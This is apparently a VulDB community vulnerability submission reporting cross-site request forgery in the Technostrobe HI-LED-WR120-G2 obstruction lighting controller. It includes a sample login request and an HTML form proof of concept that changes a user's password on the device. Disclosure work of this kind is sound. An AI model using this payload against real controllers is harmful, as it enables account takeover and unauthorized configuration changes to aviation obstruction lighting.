COMMUNITY CONTENT

Submit #783325: Technostrobe HI-LED-WR120-G2 Obstruction Lighting Controller 5.5.0.1R6.03.30 Cross-Site Request Forgery (CSRF)

Title Technostrobe HI-LED-WR120-G2 Obstruction Lighting Controller 5.5.0.1R6.03.30 Cross-Site Request Forgery (CSRF)

Description The application does not implement CSRF protection mechanisms for sensitive operations.

Vulnerable Endpoint:
POST /LoginCB HTTP/1.1
Host: <target>
Cookie: session=valid_session

user=user&password=useruser1!

Proof of Concept:
<form method="POST" action="http://technostrobe.shiky.demo:58746/LoginCB">
 <input type="hidden" name="updatePassword" value="0">
 <input type="hidden" name="userId" value="3">
 <input type="hidden" name="newPassword" value="dXNlcnVzZXIxIQ==">
 <input type="submit" value="Submit Request">
</form>

Root Cause:
No CSRF token validation

No origin/referrer validation

Server trusts browser-sent cookies

Impact:

Account takeover

Unauthorized configuration changes

Source https://github.com/shiky6/my-cve-vulnerability-research/blob/main/my_VulnDB_cves/CVE-TECHNOSTROBE-04-CSRF.md

User shiky6 (UID 96565)

Submission 03/20/2026 01:24 AM (17 days ago)

Moderation 04/04/2026 04:41 PM (16 days later)

Status Accepted

VulDB entry [Technostrobe HI-LED-WR120-G2 5.5.0.1R6.03.30 cross site request forgery]

Community Content

Submissions are made by VulDB community users. VulDB is *not responsible* for their content nor the links to external sources.

Please use the raw information shown and the links listed *with caution*. They might contain malicious and harmful actions, code or data.

The corresponding VulDB entries contain the moderated, verified, and normalized information provided within the raw submission.

Documentation

- Submission Policy
- Data Processing
- CVE Handling

Points 20